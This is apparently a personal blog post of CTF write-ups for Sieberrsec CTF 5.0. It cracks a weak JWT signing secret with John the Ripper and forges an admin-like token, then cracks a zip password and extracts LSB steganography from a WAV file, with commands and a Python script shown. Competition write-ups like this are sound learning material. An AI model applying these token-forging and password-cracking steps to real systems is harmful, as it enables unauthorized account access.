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Sieberrsec CTF 5.0

/ 3 min read

Since I got top 3 for SCTF and they required write-ups as proof for a couple of challenges, why not post them here as well?

Josh Template Viewer

This challenge was honestly pretty easy. After creating an account and logging in, we are directed to the following page:


A look at the code also tells us that the website uses JSON Web Tokens for handling authentication and authorization (signed using a presumably weak secret key), and that the homepage would show the flag if the uuid field in the JWT payload was set to '0':
def index():
if 'access_token' in request.cookies:
access = jwt.decode(request.cookies['access_token'], app.config['SECRET'], algorithms=['HS256'])
return render_template('home.html', access=access)
return render_template('index.html')
return render_template('error.html')
<div class="card">
{{ access }}
<div class="card-body">
<h5 class="card-title">User Details</h5>
{% if access.uuid == '0' %}
<p class="card-text">UUID: sctf{REDACTED}</p>
{% else %}
<p class="card-text">Username: {{ access.username }}</p>
{% endif %}

Decoding the JWT using also confirms the above:

Let’s grab the JWT from the access_token cookie and try brute forcing it with John and rockyou.txt:

Terminal window
$ echo eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiNTkzNWJiYTktMzdiOS00MjE2LTlmMGUtNGU3MGUwOTRjYzU2IiwidXNlcm5hbWUiOiJhIn0.1b86xVhe9u_KB8Vw2pEgGizfSlX7HR5hJQpNSnHr1l4 > jwt.txt
$ john jwt.txt --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt

No dice. Let’s try again with the default wordlist:

Terminal window
$ john jwt.txt --format=HMAC-SHA256

I wasn’t sure how long this was gonna take, so I hopped off to play a match of Helldivers 2. When I came back a good 40 minutes later (I’m bad at keeping track of time ok I’m sorry), I was greeted with the following:

Terminal window
$ john jwt.txt --format=HMAC-SHA256 --pot=./john.pot
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 128/128 AVX 4x])
Will run 12 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
hehehaw (?)
1g 0:00:01:04 DONE 3/3 (2024-03-10 13:22) 0.01560g/s 10668Kp/s 10668Kc/s 10668KC/s heenjez..hebina8
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Awesome! Now that we have the secret, we can now forge our own JWT and set the uuid field to '0':

forging the jwt

Setting the access_token cookie to the forged JWT and refreshing the page gives us the flag:


Note: I don’t think brute forcing the JWT Secret was the intended solution and that it was supposed to be path traversal, but hey if it works I’m not complaining.


For some reason, this challenge felt way easier than Running Can. This challenge provides, which contains 2 audio files: beep.wav and boop.wav. The zip file is password-protected, but can be easily cracked with John the Ripper:

Terminal window
$ zip2john > beepboop.hash
$ john beepboop.hash --wordlist=/usr/share/wordlists/rockyou.txt

This tells shows that the password is bestmusic (shocker). The file can now be unzipped:

Terminal window
$ unzip

This gives us the two audio files. Running strings and binwalk on both files yield nothing interesting, so let’s open up Sonic Visualiser. Adding a spectrogram and tweaking the Window options shows the first part of the flag:

flag pt 1

The second part of the flag can be found encoded in boop.wav using LSB steganography, and can be extracted using the following script I got off a Medium article:

import wave
song ="boop.wav", mode='rb')
# Convert audio to byte array
frame_bytes = bytearray(list(song.readframes(song.getnframes())))
# Extract the LSB of each byte
extracted = [frame_bytes[i] & 1 for i in range(len(frame_bytes))]
# Convert byte array back to string
string = "".join(chr(int("".join(map(str,extracted[i:i+8])),2)) for i in range(0,len(extracted),8))
# Cut off at the filler characters
decoded = string.split("###")[0]
# Print the extracted text
print("Sucessfully decoded: "+decoded)